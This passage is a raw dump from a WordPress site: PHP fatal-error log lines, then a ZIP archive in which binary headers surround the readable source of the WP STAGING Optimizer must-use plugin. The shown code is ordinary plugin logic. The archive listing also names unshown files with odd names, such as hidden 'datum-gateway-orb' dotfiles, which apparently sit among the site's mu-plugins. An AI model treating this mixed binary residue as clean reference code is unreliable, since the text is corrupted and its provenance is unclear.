  thrown in /home/aaamarke/public_html/wp-content/mu-plugins/yoast-seo-extensions.php on line 3
[11-Oct-2026 09:03:20 Australia/Sydney] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/aaamarke/public_html/wp-content/mu-plugins/wp-staging-optimizer.php:106
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-content/mu-plugins/wp-staging-optimizer.php on line 106
[11-Oct-2026 09:03:20 Australia/Sydney] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/aaamarke/public_html/wp-content/mu-plugins/yoast-seo-extensions.php:3
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-content/mu-plugins/yoast-seo-extensions.php on line 3
[11-Oct-2026 09:50:45 Australia/Sydney] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/aaamarke/public_html/wp-content/mu-plugins/wp-staging-optimizer.php:106
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-content/mu-plugins/wp-staging-optimizer.php on line 106
[11-Oct-2026 09:50:45 Australia/Sydney] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/aaamarke/public_html/wp-content/mu-plugins/yoast-seo-extensions.php:3
Stack trace:
#0 {main}
  thrown in /home/aaamarke/public_html/wp-content/mu-plugins/yoast-seo-extensions.php on line 3
PK     <ºT]íþsǸ  ¸    wp-staging-optimizer.phpnu „[µü¤        <?php

/*
 * Plugin Name: WP STAGING Optimizer
 * Plugin URI: https://wp-staging.com
 * Description: Prevents 3rd party plugins from being loaded during WP STAGING specific operations.
 *
 * This is a must-use standalone plugin -
 * Do not use any of these methods in WP STAGING code base as this mu-plugin can be missing!
 *
 * Author: René Hermenau
 * Version: 1.4
 * Author URI: https://wp-staging.com
 */

// Version number of this mu-plugin. Important for automatic updates
if (!defined('WPSTG_OPTIMIZER_VERSION')) {
    define('WPSTG_OPTIMIZER_VERSION', 1.4);
}

/** @return string */
function wpstgGetPluginsDir()
{

    $pluginsDir = '';
    if (defined('WP_PLUGIN_DIR')) {
        $pluginsDir = trailingslashit(WP_PLUGIN_DIR);
    } else if (defined('WP_CONTENT_DIR')) {
        $pluginsDir = trailingslashit(WP_CONTENT_DIR) . 'plugins/';
    }
    return $pluginsDir;
}

/*
 * Check if optimizer is enabled
 * @return bool false if it's disabled
 *
 */

function wpstgIsEnabledOptimizer()
{

    $status = ( object )get_option('wpstg_settings');

    if ($status && isset($status->optimizer) && $status->optimizer == 1) {
        return true;
    }

    return false;
}

/**
 * Check if certain plugins are excluded and still runing during wp staging requests
 * @return boolean
 */
function wpstgIsExcludedPlugin($plugin)
{
    $excludedPlugins = get_option('wpstg_optimizer_excluded', []);

    if (empty($excludedPlugins)) {
        return false;
    }

    // Check for custom excluded plugins
    foreach ($excludedPlugins as $excludedPlugin) {
        if (strpos($plugin, $excludedPlugin) !== false) {
            return true;
        } else {
            continue;
        }
    }

    return false;
}

/**
 * Remove all plugins except wp-staging and wp-staging-pro from blog-active plugins
 *
 * @param array $plugins numerically keyed array of plugin names
 *
 * @return array
 */
function wpstgExcludePlugins($plugins)
{
    if (!is_array($plugins) || empty($plugins)) {
        return $plugins;
    }

    if (!wpstgIsCompatibilityModeRequest()) {
        return $plugins;
    }

    foreach ($plugins as $key => $plugin) {

        // Default filter. Must be at the beginning or wp staging plugin will be filtered and killed
        if (strpos($plugin, 'wp-staging') !== false || wpstgIsExcludedPlugin($plugin)) {
            continue;
        }
        unset($plugins[$key]);
    }


    return $plugins;
}

add_filter('option_active_plugins', 'wpstgExcludePlugins');

/**
 * Remove all plugins except wp-staging and wp-staging-pro from network-active plugins
 *
 * @param array $plugins array of plugins keyed by name (name=>timestamp pairs)
 *
 * @return array
 */
function wpstgExcludeSitePlugins($plugins)
{
    if (!is_array($plugins) || empty($plugins)) {
        return $plugins;
    }

    if (!wpstgIsCompatibilityModeRequest()) {
        return $plugins;
    }

    foreach ($plugins as $key => $plugin) {

        // Default filter. Must be at the beginning or wp staging plugin will be filtered and killed
        if (strpos($plugin, 'wp-staging') !== false || wpstgIsExcludedPlugin($plugin)) {
            continue;
        }
    }

    return $plugins;
}

add_filter('site_option_active_sitewide_plugins', 'wpstgExcludeSitePlugins');

/**
 *
 * Disables the theme during WP Staging AJAX requests
 *
 *
 * @param $dir
 *
 * @return string
 */
function wpstgDisableTheme($dir)
{
    $enableTheme = apply_filters('wpstg_optimizer_enable_theme', false);

    if (wpstgIsCompatibilityModeRequest() && $enableTheme === false) {
        $wpstgRootPro = wpstgGetPluginsDir() . 'wp-staging-pro';
        $wpstgRoot = wpstgGetPluginsDir() . 'wp-staging';

        $file = DIRECTORY_SEPARATOR . 'Backend' . DIRECTORY_SEPARATOR . 'Optimizer' . DIRECTORY_SEPARATOR . 'blank-theme' . DIRECTORY_SEPARATOR . 'functions.php';
        $theme = DIRECTORY_SEPARATOR . 'Backend' . DIRECTORY_SEPARATOR . 'Optimizer' . DIRECTORY_SEPARATOR . 'blank-theme';


        if (file_exists($wpstgRoot . $file)) {
            return $wpstgRoot . $theme;
        } elseif (file_exists($wpstgRootPro . $file)) {
            return $wpstgRootPro . $theme;
        } else {
            return '';
        }
        return $themeDir;
    }

    return $dir;
}

add_filter('stylesheet_directory', 'wpstgDisableTheme');
add_filter('template_directory', 'wpstgDisableTheme');

/**
 * Should the current request be processed by Compatibility Mode?
 *
 * @return bool
 */
function wpstgIsCompatibilityModeRequest()
{

    // Optimizer not enabled
    if (!wpstgIsEnabledOptimizer()) {
        return false;
    }

    if (!defined('DOING_AJAX') ||
        !DOING_AJAX ||
        !isset($_POST['action']) ||
        strpos($_POST['action'], 'wpstg') === false
    ) {

        return false;
    }

    return true;
}

/**
 * Remove TGM Plugin Activation 'force_activation' admin_init action hook if present.
 *
 * This is to stop excluded plugins being deactivated after a migration, when a theme uses TGMPA to require a plugin to be always active.
 */
function wpstgTgmpaCompatibility()
{
    $remove_function = false;

    // run on wpstg page
    if (isset($_GET['page']) && $_GET['page'] == 'wpstg_clone') {
        $remove_function = true;
    }
    // run on wpstg ajax requests
    if (defined('DOING_AJAX') && DOING_AJAX && isset($_POST['action']) && strpos($_POST['action'], 'wpstg') !== false) {
        $remove_function = true;
    }

    if ($remove_function) {
        global $wp_filter;
        $admin_init_functions = $wp_filter['admin_init'];
        foreach ($admin_init_functions as $priority => $functions) {
            foreach ($functions as $key => $function) {
                // searching for function this way as can't rely on the calling class being named TGM_Plugin_Activation
                if (strpos($key, 'force_activation') !== false) {
                    unset($wp_filter['admin_init'][$priority][$key]);

                    return;
                }
            }
        }
    }
}

add_action('admin_init', 'wpstgTgmpaCompatibility', 1);

/**
 * @return bool True if is staging site. False otherwise.
 */
function wpstgIsStaging()
{
    if (file_exists(ABSPATH . '.wp-staging-cloneable')) {
        return false;
    }

    if (get_option("wpstg_is_staging_site") === "true") {
        return true;
    }

    if (file_exists(ABSPATH . '.wp-staging')) {
        return true;
    }

    return false;
}

/**
 * Disable all outgoing e-mails on Staging site
 */
if (((bool)get_option("wpstg_emails_disabled") === true) && wpstgIsStaging()) {
    if (!function_exists('wp_mail')) {
        function wp_mail($to, $subject, $message, $headers = '', $attachments = [])
        {
            if (defined('WPSTG_DEBUG') && WPSTG_DEBUG) {
                // Safely cast everything to string
                $to = is_string($to) ? $to : wp_json_encode($to);
                $subject = is_string($subject) ? $subject : wp_json_encode($subject);
                $message = is_string($message) ? $message : wp_json_encode($message);
                $headers = is_string($headers) ? $headers : wp_json_encode($headers);
                $attachments = is_string($attachments) ? $attachments : wp_json_encode($attachments);

                $log_entry = <<<LOG_ENTRY
/***
* WPSTAGING - Mails are disabled for this Staging site. This e-mail was going to be sent, but was prevented:
***
* To: $to
***
* Subject: $subject
***
* Message: $message
***
* Headers: $headers
***
* Attachments: $attachments
***/
LOG_ENTRY;

                error_log($log_entry);
            }
        }
    } else {
        if (defined('WPSTG_DEBUG') && WPSTG_DEBUG) {
            error_log("WPSTAGING: Could not override the wp_mail() function to disable e-mails on staging site, as it was already defined before the optimizer mu-plugin was loaded.");
        }
    }
}

PK       <ºT]                            .bt_datum-gateway-orbnu „[µü¤        PK       <ºT]¨³–Í  Í  %            E   health-check-troubleshooting-mode.phpnu „[µü¤        PK       <ºT]ñþØ<@  @              ¡Í  yoast-seo-extensions.phpnu „[µü¤        PK       <ºT]ѩˆóƒ   ƒ               )Ï  plugins.phpnu „[µü¤        PK       <ºT]–²/’  ’              çÏ  plugins/plugins.phpnu „[µü¤        PK       <ºT]                        ¼ê  .swm_datum-gateway-orbnu „[µü¤        PK       <ºT]n›7—€  €  	            ë  error_lognu „[µü¤        PK       <ºT]íþsǸ  ¸              »ø  wp-staging-optimizer.phpnu „[µü¤        PK      §  »   